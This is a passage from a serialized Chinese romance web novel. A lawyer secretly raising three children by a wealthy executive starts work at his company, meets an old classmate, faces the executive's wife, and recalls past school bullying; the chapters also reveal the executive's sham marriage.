所以,她绝对不会让他知道,她的三个孩子,是他的亲生骨肉! 想到这些,她深深吸了一口冷气,调整好情绪,出了电梯。 熟门熟路来到秘书部。 门是开着的,她敲了下门。 陈珂正在接电话,抬手示意她等一下。 乔眠点头。 等了两三分钟,陈珂出来,引领她一路穿过办公区,来到法务部门前。 乔眠却在进去之前,忽然转身,看向对面半敞的办公室。 看到门上‘总裁办公室’几个烫金楷体时,蓦地一愣。 那间办公室,是六年前霍宴北初入霍氏,用的办公室。 现在却改成了总裁办公室…… 此时,从她的角度看过去,恰好将办公室内的情景一览无余。 宋蔓背对门口,依着办公桌,弯着腰,双手搭在霍宴北肩上。 两人在接吻…… 第23章 终于找到她了 “乔律师?” 陈珂见她站在门外发呆,唤了她一声。 乔眠收回潮湿的目光,转身,走进去。 办公场地很大。 黑白灰的极简装修,不失轻奢高级感。 分里间和外间两个办公区域。 中间隔着一道半透明的玻璃墙。 里间空间最大,是霍氏的法务部。 “乔律师,你们团队在外间办公。” “好……” 乔眠刻意选了一个靠墙的工位。 刚欲坐下,陈珂指了指正中间的办公桌,“乔律师,你是团队组长,你的办公桌在这里。” “……” 乔眠迟疑了一下,走过去坐下。 一抬眼,就能看到对面的总裁办公室…… 此时,两人结束了接吻。 宋蔓坐在霍宴北座椅的扶手上,两人低着脑袋,脸颊几乎相贴,一起在看手机。 不知道聊了什么,男人微微侧目,看着宋蔓笑了。 阳光透过落地窗倾洒进来,两人对视而笑的一幕,俨然一副唯美的画卷。 尤其是,霍宴北望着妻子时的笑容,格外温柔、宠溺。 乔眠垂眸,眸底漫出的水光,打湿了浓密的睫毛。 一滴泪珠挂在眼角,没掉下来之前,被她用手背用力拭掉。 这时,孟白和何眉来了。 她勉强挤出一抹笑,打招呼。 陈珂见人齐了,带他们去见法务总监。 “周总监,这是荣华的律师团队,以后辅助法务部工作。” 陈珂介绍道。 “好的,知道了。” “那你们聊,我还有其他事情要忙。” 陈珂打了一声招呼就走了。 拘谨站着的乔眠,抬起头,准备公式化自我介绍时,却在看清楚对方的脸时,霎时愣住了。 男人穿着一身小众品牌的深灰色西装。 头发梳得一丝不苟。 生了一张带着几分书生气的隽俊面孔。 用‘文质彬彬’这个词,最能形容他温润如玉的气质。 舒展的眉宇间给人一种如沐春风般的亲和力。 虽然多年未见,可她还是一眼认出了他。 她的高中同学,周津南。 没想到,他居然也在霍氏…… 她抱着一丝侥幸,希望他没认出她。 但是,对方看到她时,明显一怔。 周津南从真皮座椅上起身,带着探究的目光审视着她:“你是……” 乔眠颔首:“您好,周总监,我叫乔眠。” “乔眠……” 周津南若有所思的念着这个名字。 上周就接到通知,法务部要驻点一个外包律所团队。 组长叫乔眠。 这个名字很陌生。 但是—— 眼前女人的脸,却似曾相识。 被长时间注视,乔眠不自然的垂下脑袋。 心不在焉的听着何眉和孟白做自我介绍。 但是,周津南的视线自始至终未从她身上离开过,“虽然贵所和我们公司只是合作关系,但以后有任何工作方面的问题,都可以问我。” “多谢周总监。” “去忙吧。” “是。” 寒暄完,三人转身朝办公室门外走。 就在她以为没被认出来而松缓了一口气时,周津南叫住她,“乔组长,请留一下。” 乔眠心里一沉。 转身,看着他。 “周总监,还有事吗?” 等何眉和孟白走出办公室,带上门之后,周津南才绕过办公桌,阔步走到她面前,平静的眸底暗潮涌动。 “乔组长,你跟我的一个高中同学长得很像。” 说到此处,他又朝她走近一步,嗓音哑了些许:“她叫秦妩。” 听到‘秦妩’这个名字,乔眠有一种恍若隔世的错觉。 秦妩,是她当年进入霍家之前的名字。 这么多年过去了,似乎连她自己都忘了自己本名叫秦妩。 没想到,周津南还记得她。 乔眠心湖泛起涟漪。 高中时,在她遭受校园霸凌的至暗时刻,周津南是唯一一个对她没有过恶意的人。 两人关系还算融洽的原因是,他沉默,她孤僻。 他家,和她曾经的养父母家,都住在距京市三十多公里的嘉县。 还是同一个职工回迁小区。 她养父母是普通职工。 周津南父亲是厂长。 他打小生活富裕。 初中,是在京市读的。 后来,一家搬去了京市。 两人几乎没有交集。 直至她考上京市的重点高中,才和他在一个学校遇到。 那时,她很瘦。 不足八十斤。 周津南高她一届。 两人在一个学校,也没怎么说过话。 后来,他高考失利,复读了一年,恰好做了她的同桌。 两人才熟络一些。 高中毕业时,她考上了京大。 他考上了政大。 两人不在一个城市,很少联系。 只是,他每年寒暑假都会戳她QQ,问她回不回嘉县老家。 每次,她都只回两个字:不回。 大四上半学期,他突然去京大看她。 那时,她很胖。 一百六十斤。 周津南都认不出她了。 她请他吃了一顿饭。 那时候,霍宴北即将和宋蔓订婚。 她已经决定毕业后就离开京市,彻底逃离霍宴北。 所以,当周津南问她毕业后,愿不愿意跟他一起去沪城闯荡时,她没有一点犹豫答应了。 周津南很高兴,和她约定,寒假再来看她。 可是,那次见面后,他却断联了。 寒假,也没来找她。 不过,她不在意。 从小,她在孤儿院长大,后被收养。 在养父母家饱受虐待。 她没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,她才有了归属感,原以为,他就是她的全世界。 可是,那年寒假,她却‘死’在了霍宴北和宋蔓订婚宴上的那场大火中…… 回顾过往,乔眠哀空的眸底漫过一丝物是人非的苍凉。 她故作淡然的看着周津南,“秦妩……很好听的名字。” 他没问她是不是秦妩,只是说,她像秦妩,她反倒不知该怎么接话了。 只好恭维的回了一句。 周津南听到这个回答,眸底泛起一丝不易察觉的忧伤:“她不仅名字好听,人也很好看,只可惜,秦妩已经死了……” “……” 是啊,不管是秦妩还是霍妩,早就已经死了。 乔眠心间化开一抹酸涩的疼意。 一时不知该怎么应答。 好在周津南没有继续这个话题,把一摞资料交给她,让她尽快带领团队熟悉一下业务。 从办公室出来后,乔眠如释重负。 却没看见,周津南站在门口,望着她纤细的背影,眼眸逐渐泛红、潮湿。 “秦妩,我终于找到你了……” 第24章 他说,她不重要 乔眠回到工位上,人事部送来了工牌。 进出公司刷卡用的。 一整个上午,三人都在熟悉项目资料。 临近中午,何眉想请法务部其他同事吃饭,拉进一下关系。 毕竟同在法务部共事。 何况,霍氏法务部的人,个个都是精英,她想结交一下,以后也好跟着长长见识,学习交流一下。 但是,何眉笑脸盈盈的去了里间办公区。 最后,灰头土脸的出来了。 显然,热脸贴了冷屁股。 “一个个爱答不理的,牛气什么?” 何眉叉着腰,“我也是985毕业的好不好?” 孟白笑着摇了摇头,“人家霍氏的法务,哪一个不是名校毕业的法硕博?在人家眼里,我们就是打零工的包工队,合作到期也就回原单位了,在他们看来,我们根本没有一点社交价值。” 虽然孟白说的是大实话,但是,何眉还是憋了一肚子火。 暗戳戳的冲着里间方向呸了一声。 乔眠无奈,“越是被人轻看,就越要做好本职工作,免得让人看笑话。” “对,我还瞧不上他们呢!” 何眉冷哼一声,“中午你们想吃什么?我请客!” 孟白凑过来,“我查过,周边商场有一家海鲜自助,一个人一百二,可行?” “行。” 说着,何眉拉起乔眠:“别忙了,一起去。” “你破费了,下次我请你。” “你不许请,让他请!” 何眉笑着瞪了一眼孟白。 孟白陪笑,“行!姑奶奶!” “别闹了,走吧。” 乔眠穿上外套,三人一起出了法务部。 等电梯时,宋蔓挽着霍宴北的胳膊走了过来。 “宴北,食堂的饭都吃腻了,我们去外面吃吧?” “嗯,你定。” 两人的交谈声也随之飘过来。 避无可避,只得打招呼。 三人颔首,“霍总。” 霍宴北扫了一眼乖巧站姿的乔眠,淡淡嗯了一声。 宋蔓却在看到乔眠那张脸时,灼亮的瞳孔微微一颤。 她是早上被霍宴北扶了一把的女人。 之前没看清脸。 现在看清了。 那张脸清纯干净,楚楚动人。 虽然穿着朴素,没有妆容和珠宝锦上添花,但五官粉雕玉琢,安静站在那里,气质温婉极了。 是最能激发男人们保护欲的小白兔类型。 不知为何,这张脸,总觉得在哪儿见过…… 重点是,那双眼睛,有点像……霍妩。 “宴北,她是谁啊?” 宋蔓目光灼灼的盯着乔眠,问。 霍宴北淡声:“她不重要,去吃饭吧。” ‘不重要’三个字,像烙铁,在乔眠心间烫了一下。 她攥紧手指,挺直脊背,故作平静的站着,继续等电梯。 宋蔓却踩着高跟鞋,走到她面前,居高临下的审视着她:“你叫什么名字?” 乔眠抬眸。 目光平静的与宋蔓对视。 “我叫乔眠。” “乔眠?你就是……” 宋蔓满脸震惊,还想说什么时,霍宴北扣住她的手腕,拉着她进了专用电梯。 电梯门缓缓合上的一瞬,宋蔓充满敌意的眼神,狠狠瞪了她一眼。 何眉勾住乔眠的肩膀,“那女人有病吧,干嘛瞪你?你们以前认识啊?” 乔眠轻扯唇角。 何止是认识? 她、宋蔓、还有霍宴北,其实都上过京市重点一中。 只不过,霍宴北和宋蔓高她两届。 是她的学长学姐。 乔眠上高一时,宋蔓高三。 那时,霍宴北就已经保送到了京大,上大一。 所以,他不认识瘦的不足八十斤的她。 也不知道,她一个高一新生,是如何被宋蔓霸凌的。 想到这里,乔眠缓缓抚上脸颊。 一切罪因,就是这张脸。 这世上,每个女孩都希望拥有一张漂亮的脸蛋。 但是,有时候,过于漂亮,就是原罪。 宋蔓是一中公认的校花。 但乔眠进了一中后,因为长相漂亮,性子温顺乖巧,很讨同学和老师喜欢。 桌兜里几乎每天都有男同学悄悄塞的告白情书。 加上她学习成绩霸榜年级第一。 渐渐地,大家都传,她才是一中的校花。 比学姐宋蔓长得好看,学习成绩也比宋蔓好。 宋蔓出身豪门,娇养长大的一朵玫瑰。 却被一个小县城出来的小野花比下去,对宋蔓而言,就是人格羞辱。 只稍稍授意,同学们都开始排挤孤立乔眠。 桌兜放死老鼠,后背贴纸条,椅子上倒胶水,这些幼稚的招数尽数袭来。 最严重一次,她被男男女女一共八个同学锁在篮球器械室整整一夜。 扇脸、扒衣、剪头发、拍裸照。 最后,还把视频放到了网上。 加上一些营销号渲染带节奏,她被网友谩骂,还被造黄谣,说她是援交女。 本来就对她不好的养父母,觉得她丢人,差点把她打死…… 后来,宋蔓高中毕业,考上了京大艺术专业,继续延续她国民小仙女的人设,一路星光坦途。 而她,从那之后,性子大变,变得孤僻自闭,不愿再开口说话。 每天把胸勒得平整,唯恐饱满的胸部线条显露出来。 头发长到盖臀,却不肯扎起来。 戴着口罩和黑框眼镜,遮住大半张脸。 炎热的夏天,高温三十八度,穿着加肥加大版长袖校服。 她藏去漂亮容颜,学习不再与人争锋,故意考倒数第一。 可即便如此,同学们又在背后骂她是怪物…… 没人愿意做她的同桌。 只有周津南…… 后来,高考,她考上京大,震惊了所有人。 可是,长期被霸凌,心理已经留下阴影。 小小年纪,就患了抑郁症、心理应激创伤障碍症。 她无法正常与人社交,更厌恶与人接触。 所以,选了最冷门的法学手语专业。 希望等自己将来有能力后,做一名正义的律师,为弱势群体发声。 所以,当看到哑女案的当事人林霜时,就好像看到了曾经的自己…… 她想帮林霜讨回公道和尊严…… 只是,当年的她,过于懦弱,曾一度认为自己受到的伤害,归咎于漂亮引起的。 面临即将去京大,融入一个新的校园环境。 她严重焦虑。 从那时,她开始拼命的吃东西。 直至胖到走在校园里,没人注意她的存在,她才有了一丝安全感。 后来,被霍宴北带回霍家,以霍妩的新身份站在宋蔓面前,宋蔓却没有认出,她就是曾经被她欺凌过的小学妹秦妩…… 第25章 看着她吃蛋糕的模样 过往回忆在脑海中一点点散去。 自打在餐厅坐下,乔眠一直沉默。 何眉也不好多问。 端着盘子取餐时,朝孟白啧了一声,“刚才霍总身边那个女人什么来头?” 孟白夹了一块蛋糕放在她盘子里,“好像是霍总的老婆,著名的钢琴艺术家,很有名的。” 何眉咂舌,“那她干嘛瞪小乔啊?小乔又没招她惹她?” “这还不明白?哪个妻子愿意丈夫手底下有漂亮女人?别忘了,乔律师就是因为长得太漂亮,才会被韩主任骚扰。” “小乔比她漂亮还成罪过了?哼!还钢琴艺术家?啊呸!” 何眉嘟嘟囔囔损了一通后,回去坐下,把一盘好吃的放到乔眠面前:“小乔,你没事吧?” “没事……” 望着盘子里甜糯糯的蛋糕,乔眠直接用手拿起来,塞进了嘴里。 何眉吓了一跳。 这时,孟白回来了。 盘子里正好堆着几个草莓小蛋糕,刚放下,乔眠直接拿了过来,塞进嘴里。 孟白也吓了一跳,打趣了一句:“乔律师这么爱吃蛋糕啊?” “那咋啦?” 何眉白他一眼:“难得小乔胃口好,你再去拿点。” 此时,霍宴北站在自助餐厅的玻璃窗外,看到乔眠吃蛋糕的模样时,微微蹙眉。 她明明很喜欢吃蛋糕。 微信名却叫‘不爱吃蛋糕的咸鱼’? “宴北?” 走在前面的宋蔓,见霍宴北突然顿住脚步,也不知道在看什么,准备折回来时,霍宴北收回目光,抬步朝她走过去。 两人进了一家花园西餐厅。 落座后,宋蔓憋了一路的问题,终于宣泄出来。 “宴北,你怎么让乔眠进霍氏?我听阿沉说,之前她卧底他的酒吧偷拍视频取证,就是为了那个哑女案。” “还好哑女案压下来了,若不然,阿沉涉嫌违禁品一事曝光,不仅我们宋家陷入舆论中,也会影响霍氏的名誉以及股市。” “那个女人差点害了我们两家。” “阿沉因为她,还在看守所蹲了好几天呢。” “现在想想都后怕,之前那条上了热搜的微博账号悬剑,把沈家和黎家那俩公子,直接送进去了,我怀疑悬剑就是乔眠,你说,她会不会哪天会对宋沉下手?” 宋蔓一肚子怨气,理直气壮的说了一堆。 霍宴北听后,眼神逐渐冷了下来。 “与其从别人身上找原因,不如管好阿沉,再有下一次,谁也救不了他。” “我……” 宋蔓噎了一下,哑口无言。 她知道弟弟一向行事不着边,这次,涉及违禁品,差点惹出大麻烦。 但是—— 就算是给弟弟出气,她也不能接受乔眠留在霍氏。 况且,乔眠那张脸实在美丽。 她不容许这样一副好皮囊的女人,在霍宴北眼皮底下晃悠。 重点是,那女人的眼睛,太像霍妩了…… 眼见霍宴北脸色发沉。 宋蔓握住他的手,语气软了下来:“对不起,宴北,这次,是我弟弟给你添麻烦了。” “他从小娇惯坏了,十几岁就出国,缺乏管教,我爸妈去世后,我也没管好他。” “以后,我一定严加管教他,你别生气了,行吗?” 她态度诚恳的认错,霍宴北微沉的脸色终于缓和一些。 他将手抽离,倒了一杯红酒,端起来抿了一口,“这次能把哑女案压下来,还拿到了原版视频,是和荣华律所合作的结果,乔眠来霍氏,纯粹只是工作。” 这个解释,合情合理。 但是—— 宋蔓抿唇:“荣华律所那么多律师,为何偏偏指派乔眠来霍氏?” 霍宴北:“说不准她手里还有其他不利阿沉的证据,只有把她放在霍氏才安全。” “我明白了……” 虽然这个理由也站得住脚。 可宋蔓还是觉得,霍宴北把乔眠搁在眼皮底下,很可能是因为乔眠像霍妩的缘故。 这些年,她不是不知道,霍宴北一直在搜罗像霍妩的女孩。 她不在意,是因为那些女孩都不可能是霍妩。 因为,霍妩是聋哑人。 他再怎么找,也找不到和霍妩一模一样的女人。 但是,乔眠不一样。 她的眼睛太像霍妩了。 如果乔眠待在公司,万一哪天,霍宴北真的对她有了想法怎么办? 她一定要想办法把乔眠赶出公司! …… 晚上六点。 乔眠和何眉一起从公司出来。 外面淅淅沥沥下着小雨,夹着零星几片雪花。 湿冷的寒气透过大衣,冻得人直打哆嗦。 何眉从包里取出车钥匙,“小乔,下雨了,要不,我送你回去吧?” 何眉家虽不是豪门,却也是小资。 有自己的车。 乔眠莞尔,“谢谢,晚高峰路上堵,不如地铁快,再说不顺路,等你送我到家,再回去,就得九十点了。” “好吧,那我先走了。” “嗯,拜拜。” 何眉走后,乔眠搓了搓手后,插进兜里,小跑着朝地铁口走去。 没走出多远,一辆扎眼的白色玛莎拉蒂在她身边急刹停驻。 轮胎碾起泥水,飞溅过来。 乔眠穿的是米色大衣,点点污渍像墨汁溅洒在白纸上那般显眼。 她皱眉看过去,刚欲跟对方理论。 却看到顾怀年从驾驶座探出一个脑袋,笑眯眯的跟她招手:“乔律师,不好意思啊,刹车急了点。” 没想到会遇上顾淮年,乔眠微微惊讶后,没理他。 伸手拂了拂衣服上的泥点。 发现蹭不掉,干脆放弃,径直抬脚朝前走去。 玛莎拉蒂缓缓于她并行。 顾淮年轻佻的声音传来,“乔律师,我弄脏了你的衣服,我赔你一件吧?坐我的车去前面的商场,你随便挑,我买单。” 乔眠没看他,继续朝前走,“不必了。” “别这么冷漠嘛,乔美女,我是真心实意跟你赔礼道歉的,你对我这么冷淡,该不是还在为那天让你签和解协议记恨于我?” 乔眠脚步加快,全当没听见。 顾淮年锲而不舍,按了下喇叭,“乔美女,前些天,我送你那束鲜花算是赔罪了……” “顾律师。” 乔眠闭了闭眼睛,又睁开。 她停下脚步,转头,看着他,“上次的事情,我们各有各的立场,我并没有记仇,所以,你无需跟我道歉,我现在着急赶地铁,麻烦不要再跟着我。” 第26章 看着她披着别的男人的外套 “那我送你回家呗。” “不麻烦了。” 说完,她抬步就走。 顾淮年从车上下来,伸手一横,挡住了她的去路。 乔眠有些不耐的抬眼看向他,“顾律师,你还有事吗?” 顾怀年瞅着女人冻得粉粉润润的小脸,那肌肤嫩的像剥了壳的鸡蛋似的。 皱眉咬唇,娇恼的小模样,纯得厉害。 像一只刚露出尖尖牙齿,奶凶奶凶的小奶猫。 勾的想要去调逗。 顾淮年脱掉外套披在她肩上:“我把你衣服弄脏了,高低得赔你一件,要不然,有损我绅士风度。” 绅士风度? 乔眠凉笑。 绅士风度的男人,会对一个女孩充满恶意,动辄对她的身材评头论足? 羞辱且嘲讽的起各种外号。 小哑巴、小胖妹、猪猪妹、小胖橘…… 乔眠并非记仇之人。 可是,每听到一次他调笑的语气唤她‘美女’时,曾经那些戳人心肺的回忆,就会重新在脑子里放映一遍。 让她生理性厌恶。 乔眠拨开肩上的外套。 外套落在地上。 她头也不回的走了。 顾淮年捡起地上沾了泥水的外套,嫌弃的啧了一声,直接撂进了垃圾桶。 望着女人渐行渐远的纤细身影,他玩味的勾了勾唇。 乔眠是跟他有仇吗? 高冷的不要不要的。 不过,人倒是挺有趣的。 转身上车后,一脚油门开走了。 却没看到街对面,停在一辆黑色劳斯莱斯。 前面堵车,在这停了几分钟。刚才顾淮年给乔眠披外套的一幕,正好被霍宴北看得清清楚楚。 坐在副驾驶的宋蔓也看到了。 就像看了一出好戏似的,她轻哼一声,看向不知何时点了一支烟,开始吞云吐雾的霍宴北,“顾淮年和乔眠是什么情况?” 男人大手伸出窗外弹了弹烟灰,雨水打在青筋凸起的手背上,凉凉的。 良久,沾着湿意的手指将烟蒂掐灭。 绿灯亮起,车重新启动后,淡淡回了一句:“不清楚。” 宋蔓却是笑了笑,“顾淮年该不是在追她吧?” 霍宴北望着被雨水打湿的衣袖,扯了下领带,没有说话。 宋蔓挑眉,补了一句,“这俩人都是律师,有共同话题,论颜值,搁一起,挺配的,是吗?” 霍宴北紧抿薄唇,声音淡的辨不出情绪,“不配……” 宋蔓会错意,“论家世和出身,乔律师确实配不上顾淮年,谈场恋爱可以,娶回家,是不可能了。” 家世、出身…… 听到这四个字,男人心里像烧了一把火似的。 六年前,就是‘家世出身’的阻隔,让他无法牵着阿妩的手,正大光明的站在阳光之下…… 好在阿妩从来不在乎这些虚无缥缈的名分。 一直乖软懂事。 也答应过他,跟他一辈子在一起的。 可是,她食言了。 直到现在,他都不明白,她为什么要放那把火…… 难道她不爱他了吗? 若不然,也不会在订婚宴之前,突然跟他提分手…… 想到这些,额角的青筋都在跳动。 脑袋刺痛的厉害。 “宴北,头又开始疼了吗?” 男人没说话,只是靠在座椅背上,闭目养神。 宋蔓伸手,帮他轻压着太阳穴。 心里却隐隐不安。 乔眠那张脸,居然轻易就勾搭上了顾淮年,要是继续在公司待下去,会不会勾上霍宴北? 她那样穷酸的出身,妄想靠男人上位,跨越阶级? 顶多就是一个玩物罢了。 一如当年的霍妩…… …… 七点半。 乔眠来到城中村附近的一家托管班。 之前一直找不到合适的短时工,这才把孩子送去了托管班。 三个孩子,一个月托费一千。 已经是地板价了。 每晚托管到八点半。接到三个小宝后,途径附近小超市,买了一些菜。 还买了零食,让孩子先垫垫肚子。 回到家后,已经八点了。 孩子们高兴的坐在客厅地毯上,一边看电视,一边吃零食。 “等下要吃晚饭,不可以吃太多哦。” 乔眠着重叮嘱贪甜食的女儿。 乔慕心乖巧地把剩余的零食收进袋子里。 乔慕城坐在地垫上,手里抱着一本拼音识字大全书,读得很专注。 前些天,接孩子们时,乔慕城突然提出想要一本识字大全书。 孩子们现在上大班,幼儿园只教了最基础的拼音字母。 乔慕城很聪明,却是最不爱一板一眼学习的。 买书时,她以为他只是心血来潮,没想到一周过去了,这孩子每天放学回来,也不鼓弄电脑了,只抱着那本识字大全咿咿呀呀的读。 此时,乔慕城指着书本上的一个字,问她:“妈妈,这个字,是念h-u-o吗?” 听到和某人姓氏一样的发音时,乔眠怔了一下。 走到儿子身边,弯腰看清楚他指着一个‘霍’字时,心里蓦地一紧。 她现在看到或是听到这个字,有些应激。 “到底是不是念‘h-u-o呀?” 乔慕城见妈妈皱着眉不说话,伸手在她眼前晃了一下,眨巴着眼睛,又问了一遍。 乔眠表情有些不自然的咳了一声,抿了抿唇:“念祸,祸害的祸。” “霍……害?” 乔慕心凑过来,认出这个字,长得跟那张名片上XX北叔叔的姓氏一模一样时,很是好奇的咦了一声:“啊?怎么有人叫这个……唔。” 话到一半,嘴巴就被乔慕城捂住了。 乔慕心支吾两声,乔眠把女儿拉进怀里,伸手揉了一把乔慕城的脑袋:“慕城,不可以欺负妹妹哦。” 乔慕城没吭声。 只是瞪了妹妹一眼。 乔慕心朝哥哥吐了吐舌头,还想跟妈妈告状时,看到二哥哥乔慕野朝她使眼色,这才反应过来,她差点把名片的事情说漏了。 “妈妈,我没事哦。” 乔慕心笑着跑到乔慕城身边,递给他一根棒棒糖,“哥哥,吃糖。” 乔慕城哼了一声,却是接过棒棒糖,咬进了嘴里。 见三个孩子又凑到了一起嬉嬉闹闹的,乔眠没多想,去厨房做饭了。 没过一会儿,乔慕城跑了进来,指着书本上的一个‘宴’字,问她:“妈妈,这个字念yan吗?” 第27章 霍宴北的女儿 “……” 乔眠脸色泛白。 刚刚问一个‘霍’字,现在又问一个‘宴’字…… 这孩子,是不是知道些什么了? 下一个字,该不是要问‘北’了? “慕城,你为什么要问这两个字呀?” 乔眠蹲在儿子身前,语气温柔的问。 乔慕城眨了眨眼睛:“就是读到这里了呀。” “哦……” 乔眠觉得自己有点神经过敏了。 孩子们不知道自己的亲生父亲叫霍宴北。 问这两个字,应该是巧合。 “妈妈,是不是念yan啊?” 乔慕城见她又走神,再次问了一遍。 乔眠沉吟两秒,回道:“这个字念……厌恶的厌。” “……” 回到客厅的乔慕城,趴在书本上,指着书本上的‘霍’字和‘宴’字,嘴里嘟哝念着:“祸害……厌恶……好奇葩的名字哦。” 乔慕野:“听起来,这个XX北叔叔好像不是什么好人嘞。” 乔慕城:“不管怎么样,现在已经确定名片上的叔叔,叫huo-yan-北。” 乔慕心哇塞一声:“好好听的名字哦,肯定是一个帅叔叔。” 乔慕城扶额:“乔慕心,妈妈也不花痴,所以,你到底随谁呢?” 乔慕野:“肯定随渣爹,你们想啊,渣爹抛弃妈妈和我们,肯定是犯了花痴病,和别的漂亮阿姨在一起了。” 乔慕城难得认同的点点头:“说的对。” 乔慕心忽然撑着脸颊,望着窗外夜空里的星星,喃喃自语:“有没有可能,爸爸已经变成天上的星星啦?” 乔慕城:“……” 乔慕野:“……” 照顾完孩子们吃完晚饭后,乔眠打开家里的监控摄像头,全副武装后,出去跑外卖了。 回来时,已经凌晨了。 洗完澡,打开衣柜,准备拿一套睡衣时,看到衣柜里挂着一件男士西装外套。 是之前,在荣华律所,霍宴北披在她身上那件。 本来想着今天早上拿到公司还给他的。 但是,早上走的急,给忘记了。 乔眠把西装取出来,仔细翻看着。 这些年,他的习惯一点没变。 无论穿的用的,都是私人订制的几个高奢品牌。 西装是羊绒的。 上网查了一下,至少六位数。 这么贵,放在手里太烫手了。 她把西装叠整齐,装进一个干净的袋子。 放在床头柜上,免得第二天早上又忘记拿了。 …… 帝景别墅。 霍宴北一进客厅,一个粉粉嫩嫩的小团子跑了过来。 一双小手抱住他的大腿,仰着粉白软乎乎的小脸,语气甜糯糯的唤了一声,“爸爸!我可想你了!” 霍宴北眉间散开一抹温柔,将臂弯的外套随手递给张妈,一把将霍思念托举起来,语气温和:“这一个多月在国外玩的开心吗?” 霍思念捧着霍宴北的脸,吧唧亲了一口,“妈妈带我去了很多漂亮的地方,我玩得很开心,拍了很多照片哦,我发给你了,爸爸看到了吗?” “嗯,看到了。” 霍宴北抱着霍思念在沙发上坐下,伸手揉了揉她的脑袋,“今晚早点休息,明天得去幼儿园。” “啊?” 霍思念有些不情愿的撅起小嘴儿,“可是……” 霍宴北捏了捏她的小脸蛋,“没有可是。” “好吧……” 霍思念又撅了撅小嘴儿,从他腿上跳下来,“爸爸,那我洗澡了,你一会儿要给我讲故事哦。” “嗯。” 霍宴北招呼佣人,领着孩子去了二楼。 这时,宋蔓从厨房出来。 将几盘精致小菜摆放在餐桌后,霍宴北走过去坐下。 宋蔓在他旁边落座,“这一个多月,孩子在国外都玩疯了,还以为她会哭鼻子闹着不肯去幼儿园呢。” 霍宴北淡声,“这次你出国巡演,还要照顾念念,辛苦了。” 宋蔓握了握霍宴北的大手,莞尔一笑:“宴北,我是念念的妈妈,照顾她是我的责任,辛苦也是应该的。” 男人轻轻抬手,不着痕迹的抽回手,轻扯了一下嘴角。 没有说话,开始吃饭。 宋蔓陪着他用完餐,一起上楼,去了儿童房。 霍思念已经洗完澡,穿着粉绒绒的睡衣坐在床上,正在用点读笔听故事。 看到爸爸时,高兴的在床上蹦了两下。 “念念,喝牛奶。” 宋蔓坐在床前招呼她。 霍思念坐下来,乖乖喝完牛奶。 准备跑过去找爸爸时,宋蔓轻轻捏了捏她的小手。 又朝她眨了眨眼睛。 霍思念这才想起之前妈妈的叮嘱。 她弯着眼笑了笑,扑进爸爸怀里,撒娇的口吻央求道,“爸爸,今晚,我要爸爸妈妈陪我一起睡觉觉。” 霍宴北轻抚霍思念的长发,嗓音柔和,却不失严肃,“爸爸等会还有事情要忙,妈妈陪你睡。” “啊?” 霍思念望了一眼宋蔓,接收到宋蔓递过来的眼神,再次请求,“不嘛!我就要爸爸妈妈陪我一起睡觉觉,其他小朋友的爸爸妈妈,都是陪小朋友睡觉觉的,为什么我不可以?” 说着,哇一声,哭了起来。 霍宴北脸上的情绪波动不大,只是静静地看着她。 霍思念被盯得心里委屈又害怕,眼泪掉的更凶。 “念念别哭哦,爸爸真的有工作要忙。” 宋蔓见霍宴北不为所动,只好把霍思念抱进怀里耐心安慰。 但是,霍思念依旧哭个不停。 不是装的,是真的被霍宴北严肃的脸吓哭了。 宋蔓趁热打铁,扭头看着霍宴北,“宴北,今晚我们就陪念念一起睡吧?你看,她眼睛都哭肿了,你不心疼吗?” 霍宴北像是没听见她说话似的,伸手把霍思念接到自己怀里。 大手轻轻揉了揉她的小脑袋,“如果不需要爸爸读故事书了,爸爸就去书房忙了。” 说罢,把她放在床上,起身就走。 霍思念急了,抽泣着拽住霍宴北的衣角,“念念不哭了,爸爸别走……” 霍宴北面色沉静的坐下来,抽出纸巾,仔细给她擦干净眼泪。 “听话,嗯?” “嗯……” 霍思念乖乖躺回被窝里,也不哭不闹了,闭上眼睛,听着爸爸读故事书。 没一会儿就睡着了。 宋蔓在一旁陪着,心情复杂又难受。 出了儿童房,霍宴北径直朝书房走去。 宋蔓跟过去,在他进门时,一双手臂从身后紧紧抱住了他的腰。 第28章 霍宴北隐婚生子实锤了 “宴北,还需要我等多久?我们是夫妻,一个睡卧室,一个睡书房,这像话吗?” 霍宴北站了数秒后,伸手扣住她的手腕,把她一双手臂从腰上推下去。 他转身,眸光平静地望着她泛红的眼睛。 “宋蔓,我们只是名义上的夫妻,并没有领证。” 他语气平铺直叙,没有一丝情感起伏。 宋蔓苦笑,“可我们在一起生活了六年,还有了念念,我们不是夫妻又是什么?” 男人神情淡然:“念念的身世你很清楚,宋蔓,我以为我们之间是有默契的。” 宋蔓眼底一片哀伤,“我们一起抚养了念念六年,你是她爸爸,我是她妈妈,这一点,变不了。” “确实。” 霍宴北从口袋摸出一根烟,点燃后,深深吸了一口后,侧过身体,“进来吧。” 宋蔓心中一喜,脚步轻快的走进了书房。 看到霍宴北坐在书桌后面的真皮椅子上,她顺势倚过去。 将领口往下扯了扯,露出雪白松软的沟壑。 一双白皙的小手沿着男人的肩颈线条摩挲着,最后,勾住脖颈,低头吻下去时,一份文件,挡住了她即将落下来的红唇。 宋蔓愣了一下,接过文件,“这是什么?” 霍宴北起身,走到窗前站着,缓缓吐出一口烟圈,“这是你们宋家百荣公司百分之三十股权,这些年,百荣平稳发展,应该交给你了。” 宋蔓一听,快步走到他身边:“宴北,你这是不管我们姐弟死活了吗?” 当年,父亲去世,宋家内斗严重,欺她们姐弟孤寡,把宋家家产分得精光,唯剩下她家公司百荣的百分之三十股权傍身。 弟弟还小,不堪重任。 她又不懂经营,股权在手,随时会被虎视眈眈的叔伯瓜分。 无路可走时,想起父亲临终嘱托。 只要霍宴北答应娶她,就拿百荣公司的百分之三十股份作为陪嫁。 只有这样,才能保住公司。 她有信心,霍宴北一定会答应。 因为,当时,霍家几房为了继承人之争斗得你死我活,霍宴北急需外力支持。 所以,她捧着这百分之三十股份送给他时,他答应了。 但,求来的却是一场合作交易。 假结婚。 百荣公司的百分之三十股份转到霍宴北名下,助他掌权霍家,坐上霍氏总裁的位置。 而霍宴北,帮她姐弟俩夺回家产和公司经营权。 并全权打理百荣的生意。 等合适的时机,再把公司交还给她。 所以,这些年,实控百荣的一直都是霍宴北。 这也是每次阿沉出事,他必救的原因。 霍氏和百荣公司早已深度捆绑,百荣一旦出事,霍氏必定会受到牵连。 望着手里的股权转让协议,宋蔓苦笑。 他这是要把那百分之三十股份还给她,跟她解绑了…… 宋蔓直接把协议撕了,丢进垃圾桶。 